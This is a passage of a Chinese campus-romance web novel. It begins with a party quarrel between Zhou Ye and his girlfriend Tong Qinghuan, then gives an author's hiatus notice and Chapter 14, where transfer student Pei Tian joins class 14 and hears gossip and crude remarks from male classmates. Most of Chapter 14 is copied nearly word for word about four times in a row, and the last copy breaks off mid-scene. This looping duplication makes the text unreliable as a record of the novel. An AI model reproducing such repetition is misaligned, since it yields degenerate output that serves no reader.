周野穿着不知道什么潮牌的黑T恤,反正图案一如既往的夸张,两条大长腿交叠着坐在沙发里,歪着头抽烟,雾气缭绕的,遮住了他的神情。 但这个人似乎有种莫名的吸引力,在人群中像焦点一样,张扬地闪耀着,让人一眼只能看到他。 裴甜看了两秒,静静地把眼睛移开。 那一桌除了她认识的几个熟人,还有很多年龄大一些的社会青年,跟周野他们关系很好的样子。 周野左边坐了三四个女生,靠他最近的是白天见过的童清欢,看着不太高兴,又不便发作,一直强颜欢笑。 不过包间里太吵了,音乐又放得大声,根本听不清他们在说什么,只看见他们开始发牌,摇骰子。 童清欢跟着在玩,没多久,忽然愤怒地站起来,转头跟周野说了什么。 周野坐姿又大爷又懒散,眉眼藏着股嚣张劲儿,无所谓地看着站起来的女朋友,一点反应也没有。 童清欢抓起玻璃杯摔在旁边的地板上,一声脆响,四分五裂。 沸腾的包间里霎时鸦雀无声,音乐声也停了。 所有人大气都不敢出,转头望着他们,不知道是怎么回事。 周野把嘴里的烟拿下来,吐了口烟圈,脸上没什么情绪,明显压着一股火。 童清欢也不说话,僵在那一分钟,拿起包包,开门跑了出去。 何一昂张了张嘴,眼神移向周野,尴尬地问:“野哥不追啊?” 周野沉默地抽了会儿烟,把烟摁灭在烟灰缸里,淡淡地“嗯”了一声。 然后他手机响了。 他慢腾腾地从裤兜里摸出手机,看了一眼,又不在意地揣回去。 手机还一直在响。 谁都猜得出来是童清欢打的电话,周野就是不接。 何一昂傅阳他们也不敢劝,正尴尬的时候,周野的手机停了,何一昂的手机响起来。他看了眼来电提醒,嘶了一声,接起来,眼神却一直盯着周野的反应。 周野没看他,低着眼睛,又拿了一根烟咬在嘴里,旁边的女生拧开打火机,帮他点烟。 “……野哥刚去洗手间了,没拿手机。嫂子别生气啊,现在哪儿呢?” “噢噢噢,好,好,等野哥出来我跟他说。” 何一昂迫不及待地挂了电话,吞吞吐吐地跟周野说:“野哥,嫂子在楼下等你,说要跟你把话说清楚。” 周野歪头,坐了两分钟,把腿放下来,起身往外走。 “牛逼,野哥还真追啊。”傅阳啧啧地摇头感叹,竖了个大拇指,“校花就是校花,以前谁有这待遇。” 之前那么多女朋友,谁敢当场撂脸子,周野理都不会再理一下。 14. 第 14 章 最近一个多月确实公司和家里的事情太多了,不能更新,状态也不好,我会在十一月初重写本文后正常更新~这段时间的断更很抱歉! 周一,朝阳从地平线升起,斜斜地铺在六中门外的湖面上,波光粼粼。 裴甜站在教务处门外的走廊上,手里拿着转学证和入学资料,安静地等老师来。 她的肌肤在日光下白得不真实,仿佛即将消融。 谭老师抱着教案走过来的时候,愣了几秒,心里感叹李主任确实有先见之明,这要是去0班,那不就是小白兔进了饿狼窝。 “裴甜是吧?”谭老师笑着说,“我记得你,跟我进来吧。” 裴甜乖巧地鞠了个躬,跟着谭老师进去登记。 谭老师填表的时候忽然问:“你这个底子,怎么不去学艺术啊?” 裴甜看着谭老师呆了呆,很快垂下眼,捏紧了背在后面的手指,说:“以前上过兴趣班,后面学不会,就没有上了。” “哦。”谭老师了然地点了点头,没有再多问。 长得好看但悟性不高是极平常的。 六中大得离谱,裴甜跟在谭老师后面,横穿操场,先去对面楼领了教材和校服,又转了好大一个圈,七拐八拐,才到了教学楼。 高二14班在六楼,爬上去的时候,已经上课了。 谭老师敲了敲门,带她进去,闹哄哄的教室瞬间安静,几十双眼睛齐刷刷地全看过来,好奇地盯着她。 裴甜大约一米六的个子,扎着高马尾,柔软的黑发一直垂到腰际,眼瞳乌黑湿润,衬着天生偏红的唇色和卷曲的碎发,又是瓜子脸,下巴尖细,有种咄咄逼人的鲜明惊艳,越看越觉得又纯又欲。 老师还没开口,底下躁动的男生已经按捺不住,开始兴奋地吹口哨起哄。 谭老师拍了拍手,示意大家安静,说:“这是我们班转来的新同学,裴甜,大家欢迎。” 同学们都很给面子,使劲鼓掌,教室里爆发出一阵热烈的掌声。 后排的几个男生一边鼓掌,一边不怀好意地嚷道:“老师,我这里刚好有空位,让新同学坐这啊!” “新同学坐我这,我特别会照顾新同学!” “你拉倒吧,你那垃圾堆,谁要坐你那!” “那可不是,别给人新同学熏得臭烘烘的。” 几个调皮的男生互相贫嘴,把全班都逗乐了。 谭老师太了解她手底下这群兔崽子,直接无视他们,说:“安静点,别影响其他班上课。裴甜,你——先去坐那,”谭老师指了指倒数第三排左边的空位,又补充道,“过两周月考了再换位置。” 裴甜乖巧地应声,走到座位上,拿纸巾擦了擦桌椅,把书包放进去。 同桌是个女生,看她坐下就冲她笑,悄悄说:“我叫邓方悦,你名字是哪两个字啊?” 裴甜看了看进来上课的语文老师,拿出一只水性笔,在新书上写下自己的名字,悄悄翻给同桌看。 “噢,是这个甜啊?你名字好可爱喔。” 裴甜不习惯上课说话,但是刚转学,同桌这么热情,她不回答显得不礼貌,就看着邓方悦认真地小声说:“你也很可爱。” “噗。”邓方悦好像就等着她说这句话,一听见,立刻把书竖起来,挡住脸,笑得花枝乱颤。 裴甜也不知道她笑什么,茫然地看了她几眼,抿紧唇,转过头看黑板。 14班是普通班,课程跟裴甜之前的学校课程进度差不多,就快了一节课。 她之前在家的时候,已经提前预习过了,现在听起来一点不吃力。 就是很多同学可能因为新奇,上课的时候总是偷偷看她,老师好像也发现了,看她的眼神怪怪的,让她有点窘迫,一整节课耳尖都红得不行。 终于第一节课下课,裴甜看了下课程表,继续写作业,忽然桌子被人踢了一脚。 她捏紧笔,慢慢抬头看过去。 跟她并排、只隔着一条过道的男生侧坐在椅子上,面对她,脚还没收回去,搁在过道中间,吊儿郎当地冲她笑:“诶,新同学,你不是上周五教务处那个吗?我还以为你高一的呢,看着好小。” 裴甜不是很想理他,只冲他点点头,表示记得,又低头做题。 转学之前,她爸妈和于阿姨都跟她再三嘱咐过,说六中里面权贵子弟多,混起来老师都不敢管,让她别去惹。 而且她也不喜欢这种惹是生非的男生,一向都敬而远之的。 “新同学你叫什么来着?”男生偏兴致勃勃地贴上来。 “裴甜。”她头也不抬地说。 男生嬉皮笑脸的:“我叫何一昂,本班大佬,记住了吗。以后谁欺负你,就报我的名字,我罩你。” ……什么年代了,还有这种说法。 裴甜静静地偏头,奇怪地看着何一昂扬着下巴臭屁的样子,不知道该做什么反应。 认真地沉思了好几秒,她还是婉言谢绝:“不用了。” 邓方悦还探头出来说:“哎何一昂,我坐这这么久,怎么没见你说一句罩我?” “我罩你干嘛?又没人欺负你。” 旁边有几个男生看戏似的围过来,锤了他肩膀一拳:“昂子别祸害新同学了。” “我哪祸害了?我就跟人说了两句话。”何一昂不服气。 有个男生看了看裴甜,忽然压低了声音,挤眉弄眼地坏笑:“诶,这不野哥喜欢的类型吗。” “你还知道野哥喜欢什么类型呢?” “还能什么类型?漂亮胸大的呗。” “噗哈哈哈哈哈哈!”那个男生犹如废话一般地回答完,几个人全都心领神会,哄笑成一团。 何一昂笑够了,拿书啪地砸了砸桌子,一本正经地说:“你们别给我捣乱啊,上周五野哥说了,谁他都不感兴趣……” 这群男生聊天,看似压低了声音,但离得这么近,本来嗓门又大,所有的话全都一字不落地钻进裴甜耳朵里。 有些话虽然听不懂,但是她结合语境和他们的反应,也知道不是什么好话。 她抿了抿唇,假装没听见,收起作业,把下节课的书拿出来。 门口响起一阵骚动,裴甜下意识抬头,看见门口站了个长得格外清纯漂亮的女生,穿着一条及膝的百褶裙,眼神在教室里四处搜寻,好像在找人。 同桌扯了扯她的衣角。 她转过头,疑惑地看着邓方悦。 同桌满脸八卦地小声说:“看到门口那个穿裙子的女生了吗?” 裴甜认真地点头:“看到了。” “她叫童清欢,我们学校校花,文艺部部长,好看吧?“ 裴甜又点头:“好看。” 邓方悦听到她这么说,像是刚想起来,回头盯着她仔细看了几秒钟,说:“当然你转过来之后,她应该不是校花了。但是男生最吃她这一款你知道吧?” 裴甜没明白同桌是什么意思,茫然地摇头。 跟她说这个干嘛。 “哎呀,就是她看起来很清纯,长得人畜无害啊,漂亮又不漂亮得过分,好像谁都有机会,又会打扮,男生就喜欢这种的。知道了吧?” “知道了。”裴甜才明白,原来同桌就是单纯的想跟她说一下八卦。 她以为话题到此为止了,翻开书准备预习,邓方悦忽然又凑过来,悄悄说:“她现在是周野女朋友,周野你知道是谁吗?” 裴甜拿笔的手一顿。 这个名字。 怎么像一个魔咒一样,哪里都有他。 裴甜有点紧张地皱了下眉,很快松开,垂下浓密的睫毛,低声说:“不知道。” 邓方悦悄悄跟她说,“0班的大佬,六中就是他家开的,长得帅,又特有钱,以前跟人打架特别狠,现在都没有人敢惹他了。听说家里还有权,听说的啊,不知道是不是真的。” “那么厉害。”裴甜顺着同桌的话往下说,心不在焉地捏着荧光笔画重点。 “厉害啊,不过人也挺混的,换女朋友像换衣服,学校里最漂亮的那几个基本都是他前女友。”邓方悦的语气有点微妙,“其实现在也有挺多女生在追周野的,还有外校的来表白过。” “嗯。” 邓方悦离题万里,最后轻哼了一声,才说:“所以童清欢跟周野估计也好不了多久,我看她分手之后还怎么回寝室嘚瑟。” 裴甜没接话。 童清欢在门外站了一阵,终于看到被男生挡住了的何一昂,快步走过来问:“何一昂,周野呢?没来上课吗?” 何一昂看她一眼,笑着说:“哟,野哥这会儿在北城呢,下午回来,嫂子有事啊?” “胡聪豪他们找我,想让我跟周野说下,他以后不敢了,别找人搞他。” “卧槽,上次没把这孙子弄痛啊,还他妈敢威胁嫂子?”何一昂一拍桌子,说,“嫂子放心,野哥回来我就跟他说,这次非让他们见到你都绕道走。” 童清欢见他误会了,急忙说:“不是威胁,他们就是不敢找周野,一直给我送东西,我不要还硬塞给我。我看他们真挺怕的,你跟周野说一下吧。” 何一昂“哦”了一声,表情淡定下来,说:“行,这事嫂子别管了,他跟野哥之间有事,三言两语说不清楚。” “好吧。”童清欢咬了咬唇,“周野今晚过生日吗?” “过啊。怎么?” “能不能让他别带他那个游戏CP来?她来了,我算什么?” 何一昂和几个男生对视一眼,伸手抓了抓头发,问:”哪个游戏CP啊?” “晚安阿野。”童清欢说出这几个字,气得牙根儿痒痒。 听说开学前,他们去钱柜组局的时候,这个女的说她也想去,周野就同意了,把周野当时的女朋友气得摔门就走,周野也没去追。 第二天开学两人直接分手,不知道谁甩的谁。反正有了这种前车之鉴,童清欢就不想在聚会上看到这么个人。 何一昂耸肩:“这个你得跟野哥说啊,我们可不敢跟着瞎掺和。” 都是要叫嫂子的人,而且论起先来后到,晚安阿野做野哥CP都快一个月了,童清欢上周一才表白成功的。 他们实在也摸不清周野喜欢谁多一点,看着都挺冷淡,可以说就没见他什么时候对女生热情过。 “我打他电话打不通。” “噢,野哥他爷爷比较严肃,他到那可能就关机了,我们也打不通。”何一昂压根儿没打,但是替哥们儿打掩护这种事张口就来,言之凿凿地说,“嫂子别生气,等野哥下午回来,你再跟他当面说,我们一定帮你。” 童清欢还想让何一昂现在给周野打电话,但是上课铃声响了,她只好小跑出去。周一,朝阳从地平线升起,斜斜地铺在六中门外的湖面上,波光粼粼。 裴甜站在教务处门外的走廊上,手里拿着转学证和入学资料,安静地等老师来。 她的肌肤在日光下白得不真实,仿佛即将消融。 谭老师抱着教案走过来的时候,愣了几秒,心里感叹李主任确实有先见之明,这要是去0班,那不就是小白兔进了饿狼窝。 “裴甜是吧?”谭老师笑着说,“我记得你,跟我进来吧。” 裴甜乖巧地鞠了个躬,跟着谭老师进去登记。 谭老师填表的时候忽然问:“你这个底子,怎么不去学艺术啊?” 裴甜看着谭老师呆了呆,很快垂下眼,捏紧了背在后面的手指,说:“以前上过兴趣班,后面学不会,就没有上了。” “哦。”谭老师了然地点了点头,没有再多问。 长得好看但悟性不高是极平常的。 六中大得离谱,裴甜跟在谭老师后面,横穿操场,先去对面楼领了教材和校服,又转了好大一个圈,七拐八拐,才到了教学楼。 高二14班在六楼,爬上去的时候,已经上课了。 谭老师敲了敲门,带她进去,闹哄哄的教室瞬间安静,几十双眼睛齐刷刷地全看过来,好奇地盯着她。 裴甜大约一米六的个子,扎着高马尾,柔软的黑发一直垂到腰际,眼瞳乌黑湿润,衬着天生偏红的唇色和卷曲的碎发,又是瓜子脸,下巴尖细,有种咄咄逼人的鲜明惊艳,越看越觉得又纯又欲。 老师还没开口,底下躁动的男生已经按捺不住,开始兴奋地吹口哨起哄。 谭老师拍了拍手,示意大家安静,说:“这是我们班转来的新同学,裴甜,大家欢迎。” 同学们都很给面子,使劲鼓掌,教室里爆发出一阵热烈的掌声。 后排的几个男生一边鼓掌,一边不怀好意地嚷道:“老师,我这里刚好有空位,让新同学坐这啊!” “新同学坐我这,我特别会照顾新同学!” “你拉倒吧,你那垃圾堆,谁要坐你那!” “那可不是,别给人新同学熏得臭烘烘的。” 几个调皮的男生互相贫嘴,把全班都逗乐了。 谭老师太了解她手底下这群兔崽子,直接无视他们,说:“安静点,别影响其他班上课。裴甜,你——先去坐那,”谭老师指了指倒数第三排左边的空位,又补充道,“过两周月考了再换位置。” 裴甜乖巧地应声,走到座位上,拿纸巾擦了擦桌椅,把书包放进去。 同桌是个女生,看她坐下就冲她笑,悄悄说:“我叫邓方悦,你名字是哪两个字啊?” 裴甜看了看进来上课的语文老师,拿出一只水性笔,在新书上写下自己的名字,悄悄翻给同桌看。 “噢,是这个甜啊?你名字好可爱喔。” 裴甜不习惯上课说话,但是刚转学,同桌这么热情,她不回答显得不礼貌,就看着邓方悦认真地小声说:“你也很可爱。” “噗。”邓方悦好像就等着她说这句话,一听见,立刻把书竖起来,挡住脸,笑得花枝乱颤。 裴甜也不知道她笑什么,茫然地看了她几眼,抿紧唇,转过头看黑板。 14班是普通班,课程跟裴甜之前的学校课程进度差不多,就快了一节课。 她之前在家的时候,已经提前预习过了,现在听起来一点不吃力。 就是很多同学可能因为新奇,上课的时候总是偷偷看她,老师好像也发现了,看她的眼神怪怪的,让她有点窘迫,一整节课耳尖都红得不行。 终于第一节课下课,裴甜看了下课程表,继续写作业,忽然桌子被人踢了一脚。 她捏紧笔,慢慢抬头看过去。 跟她并排、只隔着一条过道的男生侧坐在椅子上,面对她,脚还没收回去,搁在过道中间,吊儿郎当地冲她笑:“诶,新同学,你不是上周五教务处那个吗?我还以为你高一的呢,看着好小。” 裴甜不是很想理他,只冲他点点头,表示记得,又低头做题。 转学之前,她爸妈和于阿姨都跟她再三嘱咐过,说六中里面权贵子弟多,混起来老师都不敢管,让她别去惹。 而且她也不喜欢这种惹是生非的男生,一向都敬而远之的。 “新同学你叫什么来着?”男生偏兴致勃勃地贴上来。 “裴甜。”她头也不抬地说。 男生嬉皮笑脸的:“我叫何一昂,本班大佬,记住了吗。以后谁欺负你,就报我的名字,我罩你。” ……什么年代了,还有这种说法。 裴甜静静地偏头,奇怪地看着何一昂扬着下巴臭屁的样子,不知道该做什么反应。 认真地沉思了好几秒,她还是婉言谢绝:“不用了。” 邓方悦还探头出来说:“哎何一昂,我坐这这么久,怎么没见你说一句罩我?” “我罩你干嘛?又没人欺负你。” 旁边有几个男生看戏似的围过来,锤了他肩膀一拳:“昂子别祸害新同学了。” “我哪祸害了?我就跟人说了两句话。”何一昂不服气。 有个男生看了看裴甜,忽然压低了声音,挤眉弄眼地坏笑:“诶,这不野哥喜欢的类型吗。” “你还知道野哥喜欢什么类型呢?” “还能什么类型?漂亮胸大的呗。” “噗哈哈哈哈哈哈!”那个男生犹如废话一般地回答完,几个人全都心领神会,哄笑成一团。 何一昂笑够了,拿书啪地砸了砸桌子,一本正经地说:“你们别给我捣乱啊,上周五野哥说了,谁他都不感兴趣……” 这群男生聊天,看似压低了声音,但离得这么近,本来嗓门又大,所有的话全都一字不落地钻进裴甜耳朵里。 有些话虽然听不懂,但是她结合语境和他们的反应,也知道不是什么好话。 她抿了抿唇,假装没听见,收起作业,把下节课的书拿出来。 门口响起一阵骚动,裴甜下意识抬头,看见门口站了个长得格外清纯漂亮的女生,穿着一条及膝的百褶裙,眼神在教室里四处搜寻,好像在找人。 同桌扯了扯她的衣角。 她转过头,疑惑地看着邓方悦。 同桌满脸八卦地小声说:“看到门口那个穿裙子的女生了吗?” 裴甜认真地点头:“看到了。” “她叫童清欢,我们学校校花,文艺部部长,好看吧?“ 裴甜又点头:“好看。” 邓方悦听到她这么说,像是刚想起来,回头盯着她仔细看了几秒钟,说:“当然你转过来之后,她应该不是校花了。但是男生最吃她这一款你知道吧?” 裴甜没明白同桌是什么意思,茫然地摇头。 跟她说这个干嘛。 “哎呀,就是她看起来很清纯,长得人畜无害啊,漂亮又不漂亮得过分,好像谁都有机会,又会打扮,男生就喜欢这种的。知道了吧?” “知道了。”裴甜才明白,原来同桌就是单纯的想跟她说一下八卦。 她以为话题到此为止了,翻开书准备预习,邓方悦忽然又凑过来,悄悄说:“她现在是周野女朋友,周野你知道是谁吗?” 裴甜拿笔的手一顿。 这个名字。 怎么像一个魔咒一样,哪里都有他。 裴甜有点紧张地皱了下眉,很快松开,垂下浓密的睫毛,低声说:“不知道。” 邓方悦悄悄跟她说,“0班的大佬,六中就是他家开的,长得帅,又特有钱,以前跟人打架特别狠,现在都没有人敢惹他了。听说家里还有权,听说的啊,不知道是不是真的。” “那么厉害。”裴甜顺着同桌的话往下说,心不在焉地捏着荧光笔画重点。 “厉害啊,不过人也挺混的,换女朋友像换衣服,学校里最漂亮的那几个基本都是他前女友。”邓方悦的语气有点微妙,“其实现在也有挺多女生在追周野的,还有外校的来表白过。” “嗯。” 邓方悦离题万里,最后轻哼了一声,才说:“所以童清欢跟周野估计也好不了多久,我看她分手之后还怎么回寝室嘚瑟。” 裴甜没接话。 童清欢在门外站了一阵,终于看到被男生挡住了的何一昂,快步走过来问:“何一昂,周野呢?没来上课吗?” 何一昂看她一眼,笑着说:“哟,野哥这会儿在北城呢,下午回来,嫂子有事啊?” “胡聪豪他们找我,想让我跟周野说下,他以后不敢了,别找人搞他。” “卧槽,上次没把这孙子弄痛啊,还他妈敢威胁嫂子?”何一昂一拍桌子,说,“嫂子放心,野哥回来我就跟他说,这次非让他们见到你都绕道走。” 童清欢见他误会了,急忙说:“不是威胁,他们就是不敢找周野,一直给我送东西,我不要还硬塞给我。我看他们真挺怕的,你跟周野说一下吧。” 何一昂“哦”了一声,表情淡定下来,说:“行,这事嫂子别管了,他跟野哥之间有事,三言两语说不清楚。” “好吧。”童清欢咬了咬唇,“周野今晚过生日吗?” “过啊。怎么?” “能不能让他别带他那个游戏CP来?她来了,我算什么?” 何一昂和几个男生对视一眼,伸手抓了抓头发,问:”哪个游戏CP啊?” “晚安阿野。”童清欢说出这几个字,气得牙根儿痒痒。 听说开学前,他们去钱柜组局的时候,这个女的说她也想去,周野就同意了,把周野当时的女朋友气得摔门就走,周野也没去追。 第二天开学两人直接分手,不知道谁甩的谁。反正有了这种前车之鉴,童清欢就不想在聚会上看到这么个人。 何一昂耸肩:“这个你得跟野哥说啊,我们可不敢跟着瞎掺和。” 都是要叫嫂子的人,而且论起先来后到,晚安阿野做野哥CP都快一个月了,童清欢上周一才表白成功的。 他们实在也摸不清周野喜欢谁多一点,看着都挺冷淡,可以说就没见他什么时候对女生热情过。 “我打他电话打不通。” “噢,野哥他爷爷比较严肃,他到那可能就关机了,我们也打不通。”何一昂压根儿没打,但是替哥们儿打掩护这种事张口就来,言之凿凿地说,“嫂子别生气,等野哥下午回来,你再跟他当面说,我们一定帮你。” 童清欢还想让何一昂现在给周野打电话,但是上课铃声响了,她只好小跑出去。周一,朝阳从地平线升起,斜斜地铺在六中门外的湖面上,波光粼粼。 裴甜站在教务处门外的走廊上,手里拿着转学证和入学资料,安静地等老师来。 她的肌肤在日光下白得不真实,仿佛即将消融。 谭老师抱着教案走过来的时候,愣了几秒,心里感叹李主任确实有先见之明,这要是去0班,那不就是小白兔进了饿狼窝。 “裴甜是吧?”谭老师笑着说,“我记得你,跟我进来吧。” 裴甜乖巧地鞠了个躬,跟着谭老师进去登记。 谭老师填表的时候忽然问:“你这个底子,怎么不去学艺术啊?” 裴甜看着谭老师呆了呆,很快垂下眼,捏紧了背在后面的手指,说:“以前上过兴趣班,后面学不会,就没有上了。” “哦。”谭老师了然地点了点头,没有再多问。 长得好看但悟性不高是极平常的。 六中大得离谱,裴甜跟在谭老师后面,横穿操场,先去对面楼领了教材和校服,又转了好大一个圈,七拐八拐,才到了教学楼。 高二14班在六楼,爬上去的时候,已经上课了。 谭老师敲了敲门,带她进去,闹哄哄的教室瞬间安静,几十双眼睛齐刷刷地全看过来,好奇地盯着她。 裴甜大约一米六的个子,扎着高马尾,柔软的黑发一直垂到腰际,眼瞳乌黑湿润,衬着天生偏红的唇色和卷曲的碎发,又是瓜子脸,下巴尖细,有种咄咄逼人的鲜明惊艳,越看越觉得又纯又欲。 老师还没开口,底下躁动的男生已经按捺不住,开始兴奋地吹口哨起哄。 谭老师拍了拍手,示意大家安静,说:“这是我们班转来的新同学,裴甜,大家欢迎。” 同学们都很给面子,使劲鼓掌,教室里爆发出一阵热烈的掌声。 后排的几个男生一边鼓掌,一边不怀好意地嚷道:“老师,我这里刚好有空位,让新同学坐这啊!” “新同学坐我这,我特别会照顾新同学!” “你拉倒吧,你那垃圾堆,谁要坐你那!” “那可不是,别给人新同学熏得臭烘烘的。” 几个调皮的男生互相贫嘴,把全班都逗乐了。 谭老师太了解她手底下这群兔崽子,直接无视他们,说:“安静点,别影响其他班上课。裴甜,你——先去坐那,”谭老师指了指倒数第三排左边的空位,又补充道,“过两周月考了再换位置。” 裴甜乖巧地应声,走到座位上,拿纸巾擦了擦桌椅,把书包放进去。 同桌是个女生,看她坐下就冲她笑,悄悄说:“我叫邓方悦,你名字是哪两个字啊?” 裴甜看了看进来上课的语文老师,拿出一只水性笔,在新书上写下自己的名字,悄悄翻给同桌看。 “噢,是这个甜啊?你名字好可爱喔。” 裴甜不习惯上课说话,但是刚转学,同桌这么热情,她不回答显得不礼貌,就看着邓方悦认真地小声说:“你也很可爱。” “噗。”邓方悦好像就等着她说这句话,一听见,立刻把书竖起来,挡住脸,笑得花枝乱颤。 裴甜也不知道她笑什么,茫然地看了她几眼,抿紧唇,转过头看黑板。 14班是普通班,课程跟裴甜之前的学校课程进度差不多,就快了一节课。 她之前在家的时候,已经提前预习过了,现在听起来一点不吃力。 就是很多同学可能因为新奇,上课的时候总是偷偷看她,老师好像也发现了,看她的眼神怪怪的,让她有点窘迫,一整节课耳尖都红得不行。 终于第一节课下课,裴甜看了下课程表,继续写作业,忽然桌子被人踢了一脚。 她捏紧笔,慢慢抬头看过去。 跟她并排、只隔着一条过道的男生侧坐在椅子上,面对她,脚还没收回去,搁在过道中间,吊儿郎当地冲她笑:“诶,新同学,你不是上周五教务处那个吗?我还以为你高一的呢,看着好小。” 裴甜不是很想理他,只冲他点点头,表示记得,又低头做题。 转学之前,她爸妈和于阿姨都跟她再三嘱咐过,说六中里面权贵子弟多,混起来老师都不敢管,让她别去惹。 而且她也不喜欢这种惹是生非的男生,一向都敬而远之的。 “新同学你叫什么来着?”男生偏兴致勃勃地贴上来。 “裴甜。”她头也不抬地说。 男生嬉皮笑脸的:“我叫何一昂,本班大佬,记住了吗。以后谁欺负你,就报我的名字,我罩你。” ……什么年代了,还有这种说法。 裴甜静静地偏头,奇怪地看着何一昂扬着下巴臭屁的样子,不知道该做什么反应。 认真地沉思了好几秒,她还是婉言谢绝:“不用了。” 邓方悦还探头出来说:“哎何一昂,我坐这这么久,怎么没见你说一句罩我?” “我罩你干嘛?又没人欺负你。” 旁边有几个男生看戏似的围过来,锤了他肩膀一拳:“昂子别祸害新同学了。” “我哪祸害了?我就跟人说了两句话。”何一昂不服气。 有个男生看了看裴甜,忽然压低了声音,挤眉弄眼地坏笑:“诶,这不野哥喜欢的类型吗。” “你还知道野哥喜欢什么类型呢?” “还能什么类型?漂亮胸大的呗。” “噗哈哈哈哈哈哈!”那个男生犹如废话一般地回答完,几个人全都心领神会,哄笑成一团。 何一昂笑够了,拿书啪地砸了砸桌子,一本正经地说:“你们别给我捣乱啊,上周五野哥说了,谁他都不感兴趣……” 这群男生聊天,看似压低了声音,但离得这么近,本来嗓门又大,所有的话全都一字不落地钻进裴甜耳朵里。 有些话虽然听不懂,但是她结合语境和他们的反应,也知道不是什么好话。 她抿了抿唇,假装没听见,收起作业,把下节课的书拿出来。 门口响起一阵骚动,裴甜下意识抬头,看见门口站了个长得格外清纯漂亮的女生,穿着一条及膝的百褶裙,眼神在教室里四处搜寻,好像在找人。 同桌扯了扯她的衣角。 她转过头,疑惑地看着邓方悦。 同桌满脸八卦地小声说:“看到门口那个穿裙子的女生了吗?” 裴甜认真地点头:“看到了。” “她叫童清欢,我们学校校花,文艺部部长,好看吧?“ 裴甜又点头:“好看。” 邓方悦听到她这么说,像是刚想起来,回头盯着她仔细看了几秒钟,说:“当然你转过来之后,她应该不是校花了。但是男生最吃她这一款你知道吧?” 裴甜没明白同桌是什么意思,茫然地摇头。 跟她说这个干嘛。 “哎呀,就是她看起来很清纯,长得人畜无害啊,漂亮又不漂亮得过分,好像谁都有机会,又会打扮,男生就喜欢这种的。知道了吧?” “知道了。”裴甜才明白,原来同桌就是单纯的想跟她说一下八卦。 她以为话题到此为止了,翻开书准备预习,邓方悦忽然又凑过来,悄悄说:“她现在是周野女朋友,周野你知道是谁吗?” 裴甜拿笔的手一顿。 这个名字。 怎么像一个魔咒一样,哪里都有他。 裴甜有点紧张地皱了下眉,很快松开,垂下浓密的睫毛,低声说:“不知道。” 邓方悦悄悄跟她说,“0班的大佬,六中就是他家开的,长得帅,又特有钱,以前跟人打架特别狠,现在都没有人敢惹他了。听说家里还有权,听说的啊,不知道是不是真的。” “那么厉害。”裴甜顺着同桌的话往下说,心不在焉地捏着荧光笔画重点。 “厉害啊,不过人也挺混的,换女朋友像换衣服,学校里最漂亮的那几个基本都是他前女友。”邓方悦的语气有点微妙,“其实现在也有挺多女生在追周野的,还有外校的来表白过。” “嗯。” 邓方悦离题万里,最后轻哼了一声,才说:“所以童清欢跟周野估计也好不了多久,我看她分手之后还怎么回寝室嘚瑟。” 裴甜没接话。 童清欢在门外站了一阵,终于看到被男生挡住了的何一昂,快步走过来问:“何一昂,周野呢?没来上课吗?” 何一昂看她一眼,笑着说:“哟,野哥这会儿在北城呢,下午回来,嫂子有事啊?” “胡聪豪他们找我,想让我跟周野说下,他以后不敢了,别找人搞他。” “卧槽,上次没把这孙子弄痛啊,还他妈敢威胁嫂子?”何一昂一拍桌子,说,“嫂子放心,野哥回来我就跟他说,这次非让他们见到你都绕道走。” 童清欢见他误会了,急忙说:“不是威胁,他们就是不敢找周野,一直给我送东西,我不要还硬塞给我。我看他们真挺怕的,你跟周野说一下吧。” 何一昂“哦”了一声,表情淡定下来,说:“行,这事嫂子别管了,他跟野哥之间有事,三言两语说不清楚。” “好吧。”童清欢咬了咬唇,“周野今晚过生日吗?” “过啊。怎么?” “能不能让他别带他那个游戏CP来?她来了,我算什么?” 何一昂和几个男生对视一眼,伸手抓了抓头发,问:”哪个游戏CP啊?” “晚安阿野。”童清欢说出这几个字,气得牙根儿痒痒。 听说开学前,他们去钱柜组局的时候,这个女的说她也想去,周野就同意了,把周野当时的女朋友气得摔门就走,周野也没去追。 第二天开学两人直接分手,不知道谁甩的谁。反正有了这种前车之鉴,童清欢就不想在聚会上看到这么个人。 何一昂耸肩:“这个你得跟野哥说啊,我们可不敢跟着瞎掺和。” 都是要叫嫂子的人,而且论起先来后到,晚安阿野做野哥CP都快一个月了,童清欢上周一才表白成功的。 他们实在也摸不清周野喜欢谁多一点,看着都挺冷淡,可以说就没见他什么时候对女生热情过。 “我打他电话打不通。” “噢,野哥他爷爷比较严肃,他到那可能就关机了,我们也打不通。”何一昂压根儿没打,但是替哥们儿打掩护这种事张口就来,言之凿凿地说,“嫂子别生气,等野哥下午回来,你再跟他当面说,我们一定帮你。” 童清欢还想让何一昂现在给周野打电话,但是上课铃声响了,她只好小跑出去。周一,朝阳从地平线升起,斜斜地铺在六中门外的湖面上,波光粼粼。 裴甜站在教务处门外的走廊上,手里拿着转学证和入学资料,安静地等老师来。 她的肌肤在日光下白得不真实,仿佛即将消融。 谭老师抱着教案走过来的时候,愣了几秒,心里感叹李主任确实有先见之明,这要是去0班,那不就是小白兔进了饿狼窝。 “裴甜是吧?”谭老师笑着说,“我记得你,跟我进来吧。” 裴甜乖巧地鞠了个躬,跟着谭老师进去登记。 谭老师填表的时候忽然问:“你这个底子,怎么不去学艺术啊?” 裴甜看着谭老师呆了呆,很快垂下眼,捏紧了背在后面的手指,说:“以前上过兴趣班,后面学不会,就没有上了。” “哦。”谭老师了然地点了点头,没有再多问。 长得好看但悟性不高是极平常的。 六中大得离谱,裴甜跟在谭老师后面,横穿操场,先去对面楼领了教材和校服,又转了好大一个圈,七拐八拐,才到了教学楼。 高二14班在六楼,爬上去的时候,已经上课了。 谭老师敲了敲门,带她进去,闹哄哄的教室瞬间安静,几十双眼睛齐刷刷地全看过来,好奇地盯着她。 裴甜大约一米六的个子,扎着高马尾,柔软的黑发一直垂到腰际,眼瞳乌黑湿润,衬着天生偏红的唇色和卷曲的碎发,又是瓜子脸,下巴尖细,有种咄咄逼人的鲜明惊艳,越看越觉得又纯又欲。 老师还没开口,底下躁动的男生已经按捺不住,开始兴奋地吹口哨起哄。 谭老师拍了拍手,示意大家安静,说:“这是我们班转来的新同学,裴甜,大家欢迎。” 同学们都很给面子,使劲鼓掌,教室里爆发出一阵热烈的掌声。 后排的几个男生一边鼓掌,一边不怀好意地嚷道:“老师,我这里刚好有空位,让新同学坐这啊!” “新同学坐我这,我特别会照顾新同学!” “你拉倒吧,你那垃圾堆,谁要坐你那!” “那可不是,别给人新同学熏得臭烘烘的。” 几个调皮的男生互相贫嘴,把全班都逗乐了。 